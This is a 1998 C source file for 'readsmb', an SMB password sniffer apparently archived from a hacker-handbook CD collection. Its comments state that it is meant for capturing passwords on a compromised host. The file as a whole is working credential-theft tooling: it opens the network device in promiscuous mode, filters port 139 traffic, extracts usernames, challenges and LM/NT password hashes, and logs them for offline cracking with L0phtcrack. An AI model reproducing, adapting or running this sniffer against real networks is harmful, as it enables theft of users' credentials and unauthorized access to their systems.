home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / readsmb2.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-10-15  |  9.5 KB  |  376 lines

  1. /* readsmb.c v0.56
  2.  * by the basement research <basementresearch@hotmail.com> 5/29/98
  3.  *
  4.  * Many thanks to L0pht Heavy Industries - without L0phtcrack this is worthless.
  5.  * 
  6.  * An implementation of the SMB sniffer that comes with l0phtcrack 2.0.  The 
  7.  * purpose here is to provide an effective means of sniffing SMB passwords on 
  8.  * a compromised host. Its too hard to execute a sniffer on a remote host with 
  9.  * only an NT version available. 
  10.  * 
  11.  * If you don't have libpcap, you'll need to get it - its at ftp.ee.lbl.gov.
  12.  * (Has there ever been a more useful government service than this?)
  13.  * Tested on Linux 2.0.x (glibc1 and 2), and FreeBSD.  It will compile on 
  14.  * Slow-aris, but it is totally untested (there will be a byte-ordering issue). 
  15.  * 
  16.  * This is pretty crude but functional.  I still don't even know what the second
  17.  * field of the sniff file is for (the program simply inserts a '3').  I tested 
  18.  * this with Win95, WinNT, and Samba clients (both smbclient LANMAN2 and NT1).  
  19.  * I don't think it grabs the correct string for Administrator, because LC 
  20.  * couldn't crack it (sometimes the real readsmb didn't seem to get it either 
  21.  * - and sometimes it seemed to drop the username.  readsmb also didn't seem 
  22.  * to always work for LANMAN2 protocol, this does).   
  23.  *
  24.  * The start_pcap() function was taken from "UNIX Network Programming - 
  25.  * Networking APIs : Sockets and XTI" by Richard Stevens (great book.) 
  26.  *
  27.  * Officially dedicated to Nikki Steele. 
  28.  *
  29.  * Fbhepr pbqr vf fcrrpu!
  30.  *                                                    jose chung
  31.  *                                                    the basement research
  32.  *
  33.  * To compile :
  34.  * cc -o readsmb readsmb.c -lpcap
  35.  * Usage :
  36.  * ./readsmb [output file] (otherwise to stdout)
  37.  */
  38.  
  39. #include <stdio.h>
  40. #include <string.h>
  41. #include <unistd.h>
  42. #include <sys/signal.h>
  43. #ifdef __FreeBSD__
  44. #include <sys/socket.h>
  45. #endif /* __FreeBSD__ */
  46. #ifdef __sun            /* Solaris 2.x */
  47. #define u_int32_t uint32_t
  48. #include <sys/socket.h>
  49. #endif /* Not FreeBSD, not Solaris.  Our default is Linux */
  50. #include <net/if.h>
  51. #include "pcap.h"
  52.  
  53. #define FILTER_CMD      "src port 139 or dst port 139"
  54. #define TRUE    (1)
  55.  
  56. #define LM_PROT         0x0D
  57. #define NT_PROT         0x11
  58.  
  59. #define SMB_SK_COMMAND  0x72
  60. #define SMB_PW_COMMAND  0x73
  61. #define TIMEOUT_VALUE   500
  62.  
  63. #define PW_OFFSET_NT12  105
  64. #define PWNT_OFFSET_NT12        129
  65. #define SK_OFFSET_NT12  112
  66. #define USER_OFFSET_NT12        129
  67.  
  68. #define PWNT_OFFSET_LM2 75
  69. #define PW_OFFSET_LM2   99
  70. #define SK_OFFSET_LM2   104
  71. #define USER_OFFSET_LM2 123
  72.  
  73. #define SMB_PORT        139
  74.  
  75. FILE *log = NULL;
  76. char *device;
  77. struct pcap_pkthdr hdr;
  78. pcap_t *pfd;            /* File descriptor for pcap */
  79. u_short link_offset = 0;    /* 0 if device = ppp0, 14 if device = eth0 */
  80. int current_pkt_type = 0;
  81. int neg_prot, pw_offset, sk_offset, user_offset;
  82.  
  83. void *
  84. killed (int sig)
  85. {
  86.   fflush (log);
  87.   if (log != NULL)
  88.     fclose (log);
  89.   exit (0);
  90. }
  91.  
  92. char *
  93. check_pkt (char *pkt)
  94. {
  95.   static u_short port;
  96.   static u_char cmd;
  97.   char *extracted;
  98.   char *discard = NULL;
  99.   u_short *port_ext;
  100.  
  101.   if ((extracted = (char *) malloc (sizeof (char))) == NULL)
  102.     {
  103.       puts ("Error allocating memory.");
  104.       exit (0);
  105.     }
  106.   if ((port_ext = (u_short *) malloc (sizeof (u_short))) == NULL)
  107.     {
  108.       puts ("Error allocating memory.");
  109.       exit (0);
  110.     }
  111.   memcpy (extracted, (pkt + 48), sizeof (u_char));
  112.   memcpy (port_ext, (u_short *) (pkt + 20), sizeof (u_short));
  113.   port = ntohs (*((u_short *) port_ext));
  114.   cmd = *((u_char *) extracted);
  115.   if (current_pkt_type == SMB_PW_COMMAND && (((int) cmd == SMB_PW_COMMAND) && (!(port == SMB_PORT))))
  116.     {
  117.       free (extracted);
  118.       free (port_ext);
  119.       return (pkt);
  120.     }
  121.   if (current_pkt_type == SMB_SK_COMMAND && (((int) cmd == SMB_SK_COMMAND) && (port == SMB_PORT)))
  122.     {
  123.       free (extracted);
  124.       free (port_ext);
  125.       return (pkt);
  126.     }
  127.   free (extracted);
  128.   free (port_ext);
  129.   return (discard);
  130. }
  131.  
  132. char *
  133. grab_pcap ()
  134. {
  135.   char *pptr = NULL;
  136.   char *checked_pptr;
  137.  
  138.   while ((pptr = (char *) pcap_next (pfd, &hdr)) == NULL);
  139.   pptr = pptr + link_offset;
  140.   checked_pptr = check_pkt (pptr);
  141.   return (checked_pptr);
  142. }
  143.  
  144. char *
  145. grabber_loop ()
  146. {
  147.   char *grabbed_pkt = NULL;
  148.  
  149.   while (grabbed_pkt == NULL)
  150.     {
  151.       grabbed_pkt = grab_pcap ();
  152.     }
  153.   return (grabbed_pkt);
  154. }
  155.  
  156. void
  157. start_pcap ()
  158. {
  159.  
  160.   char cmd[80];
  161.   int psize, datalink;
  162.   struct bpf_program fcode;
  163.   u_int localnet, netmask;
  164.   char errbuf[PCAP_ERRBUF_SIZE];
  165.   char link[] = "ppp0";
  166.  
  167.   psize = 300;            /* I'm not even sure what this does.   Did this come from Stevens too? */
  168.  
  169.   if ((device = pcap_lookupdev (errbuf)) == NULL)
  170.     {
  171.       printf ("pcap_lookupdev : %s\n", errbuf);
  172.       exit (-1);
  173.     }
  174.   if (strcmp (device, link) == 0)
  175.     {
  176.       link_offset = 0;
  177.     }
  178.   else
  179.     link_offset = 14;
  180.   printf ("Selected network device %s\n", device);
  181.   if ((pfd = pcap_open_live (device, psize, IFF_PROMISC, TIMEOUT_VALUE, errbuf))
  182.       == NULL)
  183.     {
  184.       printf ("pcap_open_live : %s\n", errbuf);
  185.       exit (-1);
  186.     }
  187.   puts ("Opened device successfully.");
  188.   if (pcap_lookupnet (device, &localnet, &netmask, errbuf) < 0)
  189.     {
  190.       printf ("pcap_lookupnet : %s\n", errbuf);
  191.       exit (-1);
  192.     }
  193.   snprintf (cmd, sizeof (cmd), FILTER_CMD);
  194.   printf ("Applying filter : %s\n", &cmd);
  195.   if (pcap_compile (pfd, &fcode, cmd, IFF_PROMISC, netmask) < 0)
  196.     {
  197.       printf ("pcap_compile : %s\n", pcap_geterr (pfd));
  198.       exit (-1);
  199.     }
  200.   if (pcap_setfilter (pfd, &fcode) < 0)
  201.     {
  202.       printf ("pcap_setfilter : %s\n", pcap_geterr (pfd));
  203.       exit (-1);
  204.     }
  205.   if ((datalink = pcap_datalink (pfd)) < 0)
  206.     {
  207.       printf ("pcap_datalink : %s\n", pcap_geterr (pfd));
  208.       exit (-1);
  209.  
  210.     }
  211.   printf ("The datalink is type %d\n", datalink);
  212. }
  213.  
  214. char *
  215. byte_convert_sk (char *pkt)
  216. {
  217.   char *pc1, *pc2, *pc3;
  218.   u_long num1, num2, num3;
  219.   char *converted;
  220.  
  221.   pc1 = (char *) malloc (sizeof (int));
  222.   pc2 = (char *) malloc (sizeof (int));
  223.   pc3 = (char *) malloc (sizeof (int));
  224.   converted = (char *) malloc (17);
  225.   bzero (converted, 17);
  226.   neg_prot = get_prot (pkt);    /* This doesn't belong here. */
  227.   if (neg_prot == LM_PROT)
  228.     {
  229.       pw_offset = PW_OFFSET_LM2;
  230.       sk_offset = SK_OFFSET_LM2;
  231.       user_offset = USER_OFFSET_LM2;
  232.     }
  233.   if (neg_prot == NT_PROT)
  234.     {
  235.       pw_offset = PW_OFFSET_NT12;
  236.       sk_offset = SK_OFFSET_NT12;
  237.       user_offset = USER_OFFSET_NT12;
  238.     }
  239.   memcpy (pc1, (pkt + sk_offset), sizeof (int));
  240.   memcpy (pc2, (pkt + (sk_offset + 4)), sizeof (int));
  241.   memcpy (pc3, (pkt + (sk_offset + 8)), sizeof (int));
  242.   num1 = ntohl (*((u_long *) pc1));
  243.   num2 = ntohl (*((u_long *) pc2));
  244.   num3 = (u_long) ntohl (*((u_long *) pc3));
  245.   num1 = (num1 << 8) >> 8;
  246.   num3 = num3 >> 24;
  247.   sprintf (converted, "%.6x%.8x%.2x", num1, num2, num3);
  248.   free (pc1);
  249.   free (pc2);
  250.   free (pc3);
  251.   return (converted);
  252. }
  253.  
  254. int
  255. get_prot (char *pkt)
  256. {
  257.   u_char *prot_code;
  258.   int code = 0;
  259.  
  260.   prot_code = (u_char *) malloc (sizeof (u_char));
  261.   memcpy (prot_code, (pkt + 76), 1);
  262.   code = (int) *prot_code;
  263.   return (code);
  264. }
  265.  
  266.  
  267. char *
  268. byte_convert_user (char *pkt)
  269. {
  270.   char *pc1;
  271.  
  272.   pc1 = (char *) malloc (49);
  273.   bzero (pc1, 49);
  274.   strcpy (pc1, (pkt + user_offset));
  275.   return (pc1);
  276. }
  277.  
  278. char *
  279. byte_convert_pw (char *pkt, int run)
  280. {
  281.   char *lmhash;
  282.   char *pc1, *pc2, *pc3, *pc4, *pc5, *pc6;
  283.   u_int num1, num2, num3, num4, num5, num6;
  284.  
  285.   lmhash = (char *) malloc (49);
  286.   bzero (lmhash, 49);
  287.   if ((run == 2) && (neg_prot == NT_PROT))
  288.     {
  289.       pw_offset = PWNT_OFFSET_NT12;
  290.     }
  291.   if ((run == 2) && (neg_prot == LM_PROT))
  292.     {
  293.       pw_offset = PWNT_OFFSET_LM2;
  294.     }
  295.   pc1 = (char *) malloc (sizeof (u_int));
  296.   pc2 = (char *) malloc (sizeof (u_int));
  297.   pc3 = (char *) malloc (sizeof (u_int));
  298.   pc4 = (char *) malloc (sizeof (u_int));
  299.   pc5 = (char *) malloc (sizeof (u_int));
  300.   pc6 = (char *) malloc (sizeof (u_int));
  301.   memcpy (pc1, (pkt + pw_offset), 4);
  302.   memcpy (pc2, (pkt + (pw_offset + 4)), 4);
  303.   memcpy (pc3, (pkt + (pw_offset + 8)), 4);
  304.   memcpy (pc4, (pkt + (pw_offset + 12)), 4);
  305.   memcpy (pc5, (pkt + (pw_offset + 16)), 4);
  306.   memcpy (pc6, (pkt + (pw_offset + 20)), 4);
  307.   num1 = ntohl (*((u_int *) pc1));
  308.   num2 = ntohl (*((u_int *) pc2));
  309.   num3 = ntohl (*((u_int *) pc3));
  310.   num4 = ntohl (*((u_int *) pc4));
  311.   num5 = ntohl (*((u_int *) pc5));
  312.   num6 = ntohl (*((u_int *) pc6));
  313.   sprintf (lmhash, "%.8x%.8x%.8x%.8x%.8x%.8x", num1, num2, num3, num4, num5, num6);
  314.   free (pc1);
  315.   free (pc2);
  316.   free (pc3);
  317.   free (pc4);
  318.   free (pc5);
  319.   free (pc6);
  320.   return (lmhash);
  321. }
  322.  
  323. void
  324. main (int argc, char **argv)
  325. {
  326.   char *cur_pkt, *next_pkt;
  327.   char *sk, *user, *pw, *ntpw, *output;
  328.  
  329.   signal (SIGINT, killed);
  330.   signal (SIGTERM, killed);
  331.   signal (SIGKILL, killed);
  332.   signal (SIGQUIT, killed);
  333.  
  334.   if (argc > 2)
  335.     {
  336.       printf ("Usage : %s [output file]\n", *argv);
  337.       exit (0);
  338.     }
  339.   if (argc == 1)
  340.     {
  341.       log = stdout;
  342.     }
  343.   else
  344.     log = fopen (argv[1], "w");
  345.  
  346.   if ((argc == 2) && (!log))
  347.     {
  348.       puts ("Error opening logfile.");
  349.       exit (0);
  350.     }
  351.   start_pcap ();
  352.   while TRUE
  353.     {
  354.       output = (char *) malloc (172);
  355.       bzero (output, 172);
  356.       current_pkt_type = SMB_SK_COMMAND;
  357.       cur_pkt = grabber_loop ();
  358.       sk = byte_convert_sk (cur_pkt);
  359.       current_pkt_type = SMB_PW_COMMAND;
  360.       next_pkt = grabber_loop ();
  361.       user = byte_convert_user (next_pkt);
  362.       pw = byte_convert_pw (next_pkt, 1);
  363.       ntpw = byte_convert_pw (next_pkt, 2);
  364.       strcat (output, user);
  365.       strncat (output, ":3:", 3);
  366.       strcat (output, sk);
  367.       strncat (output, ":", 1);
  368.       strcat (output, pw);
  369.       strncat (output, ":", 1);
  370.       strcat (output, ntpw);
  371.       fprintf (log, "%#s\n", output);
  372.       fflush (log);
  373.       free (output);
  374.     }
  375. }
  376.